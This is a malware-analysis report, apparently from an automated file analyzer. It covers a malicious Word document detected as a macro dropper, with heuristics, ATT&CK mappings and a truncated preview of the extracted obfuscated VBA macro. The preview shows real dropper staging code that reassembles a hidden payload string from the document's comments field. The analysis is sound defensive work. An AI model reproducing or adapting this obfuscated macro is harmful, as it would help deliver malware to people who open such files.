MALICIOUS
242
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1203 Exploitation for Client Execution
The sample is a malicious Office document containing a VBA macro. The macro utilizes a Shell() call, indicating an attempt to execute external code. The ClamAV detection name 'Doc.Dropper.Agent-6347330-0' further suggests its role as a dropper for additional malware. The macro's obfuscated nature and the presence of Shell() point towards a second-stage payload execution.
Heuristics 7
-
ClamAV: Doc.Dropper.Agent-6347330-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Agent-6347330-0
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 10376 bytes |
SHA-256: 15ab6e4137803df5e601284f56da93131f07cf1a034066e1204b503362def4aa |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Attribute VB_Name = "Module1" Sub zWlJprBaD() LTUjjQGAU = "" + uBGphf + IzMwMr + TnEzmGha + vwCjjow + BmiIsz + BNdKPShA + HBhWalAr + VKrfvi + zvaNh + oMwZdXL + OwEciG + mQlmoWo + "coMments" + uBGphf + IzMwMr + TnEzmGha + vwCjjow + BmiIsz + BNdKPShA + HBhWalAr + VKrfvi + zvaNh + oMwZdXL + OwEciG + mQlmoWo + VRzpN + mZkZas + dLXUI + wsaTw + CCtrmToI JzUIrsWcJI = Left(Right((jujWzZwjo(LTUjjQGAU)), Len((jujWzZwjo(LTUjjQGAU))) - 10413), 81) HbHPwnc = Right(Left((jujWzZwjo(LTUjjQGAU)), 8312), 71) CwDRw = Right(Left((jujWzZwjo(LTUjjQGAU)), 3482), 105) zijNv = Mid((jujWzZwjo(LTUjjQGAU)), 3769, 11) YdtrtWdHLh = Mid((jujWzZwjo(LTUjjQGAU)), 12736, 21) rzQNKbRhH = Left(Right((jujWzZwjo(LTUjjQGAU)), Len((jujWzZwjo(LTUjjQGAU))) - 10549), 64) qvhQcbZ = Mid((jujWzZwjo(LTUjjQGAU)), 13911, 111) rmilDwjN = Mid((jujWzZwjo(LTUjjQGAU)), 3529, 21) lWtQTIjVZli = Mid((jujWzZwjo(LTUjjQGAU)), 14474, 127) zAoEOiJNsD = JzUIrsWcJI + HbHPwnc + CwDRw + zijNv + YdtrtWdHLh + rzQNKbRhH + qvhQcbZ + rmilDwjN + lWtQTIjVZli twiNHsG = Left(Right((jujWzZwjo(LTUjjQGAU)), Len((jujWzZwjo(LTUjjQGAU))) - 4461), 34) sHELXAAWHbO = Left(Right((jujWzZwjo(LTUjjQGAU)), Len((jujWzZwjo(LTUjjQGAU))) - 6914), 148) tcOuELLs = Mid((jujWzZwjo(LTUjjQGAU)), 7933, 12) VHTFRwwIa = Mid((jujWzZwjo(LTUjjQGAU)), 12171, 8) IjADGJNVvcw = Mid((jujWzZwjo(LTUjjQGAU)), 5220, 124) DCwNovo = Left(Right((jujWzZwjo(LTUjjQGAU)), Len((jujWzZwjo(LTUjjQGAU))) - 15671), 77) cjDEuiY = Right(Left((jujWzZwjo(LTUjjQGAU)), 3978), 144) oNZkvOq = Right(Left((jujWzZwjo(LTUjjQGAU)), 5086), 62) zWfCX = Left(Right((jujWzZwjo(LTUjjQGAU)), Len((jujWzZwjo(LTUjjQGAU))) - 8050), 126) ERACOizmIJ = zAoEOiJNsD + twiNHsG + sHELXAAWHbO + tcOuELLs + VHTFRwwIa + IjADGJNVvcw + DCwNovo + cjDEuiY + oNZkvOq + zWfCX GkWqtqi = Right(Left((jujWzZwjo(LTUjjQGAU)), 3206), 8) LLFsTXXz = Left(Right((jujWzZwjo(LTUjjQGAU)), Len((jujWzZwjo(LTUjjQGAU))) - 79), 95) ftrzqvm = Mid((jujWzZwjo(LTUjjQGAU)), 14679, 43) stNoDiIP = Right(Left((jujWzZwjo(LTUjjQGAU)), 882), 81) lHLEiFowW = Mid((jujWzZwjo(LTUjjQGAU)), 1766, 64) PJAnPZPm = Left(Right((jujWzZwjo(LTUjjQGAU)), Len((jujWzZwjo(LTUjjQGAU))) - 2642), 75) WCJKIJVXITp = ERACOizmIJ + GkWqtqi + LLFsTXXz + ftrzqvm + stNoDiIP + lHLEiFowW + PJAnPZPm zQHwd = Left(Right((jujWzZwjo(LTUjjQGAU)), Len((jujWzZwjo(LTUjjQGAU))) - 5951), 47) BoJtch = Right(Left((jujWzZwjo(LTUjjQGAU)), 1399), 72) jCKwGRuMB = Mid((jujWzZwjo(LTUjjQGAU)), 11436, 94) ocfvk = Mid((jujWzZwjo(LTUjjQGAU)), 7588, 3) ivpQKQwkVNA = Left(Right((jujWzZwjo(LTUjjQGAU)), Len((jujWzZwjo(LTUjjQGAU))) - 7516), 46) bmsYRiOlj = Right(Left((jujWzZwjo(LTUjjQGAU)), 11005), 137) FjXwl = Right(Left((jujWzZwjo(LTUjjQGAU)), 6653), 93) ZqiDnqTrtCW = Mid((jujWzZwjo(LTUjjQGAU)), 15313, 64) LkmiBjGdG = Right(Left((jujWzZwjo(LTUjjQGAU)), 1668), 2) uqkKdt = Mid((jujWzZwjo(LTUjjQGAU)), 14280, 60) AUbazYwCFak = Right(Left((jujWzZwjo(LTUjjQGAU)), 13427), 4) nYtUutu = Right(Left((jujWzZwjo(LTUjjQGAU)), 6245), 148) PSCYIwF = Mid((jujWzZwjo(LTUjjQGAU)), 13822, 24) ACXvLk = Left(Right((jujWzZwjo(LTUjjQGAU)), Len((jujWzZwjo(LTUjjQGAU))) - 7647), 1) GDhADVbuGS = Right(Left((jujWzZwjo(LTUjjQGAU)), 12656), 108) jAFzkFIXYP = Mid((jujWzZwjo(LTUjjQGAU)), 8907, 52) zMjKrsMIKFm = Mid((jujWzZwjo(LTUjjQGAU)), 11881, 89) RqBkDrlRCO = WCJKIJVXITp + zQHwd + BoJtch + jCKwGRuMB + ocfvk + ivpQKQwkVNA + bmsYRiOlj + FjXwl + ZqiDnqTrtCW + LkmiBjGdG + uqkKdt + AUbazYwCFak + nYtUutu + PSCYIwF + ACXvLk + GDhADVbuGS + jAFzkFIXYP + zMjKrsMIKFm iNPcWuLzt = Mid((jujWzZwjo(LTUjjQGAU)), 9625, 35) ifijNRhG = Left(Right((jujWzZwjo(LTUjjQGAU)), Len((jujWzZwjo(LTUjjQGAU))) - 14950), 74) owokLTLJ = Left(Right((jujWzZwjo(LTUjjQGAU)), Len((jujWzZwjo(LTUjjQGAU))) - 9878), 5) XfmzmhzoLQ = Mid((jujWzZwjo(LTUjjQGAU)), 13145, 145) ciBXJBDl = Mid((jujWzZwjo(LTUjjQGAU)), 14349, ... (truncated) |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.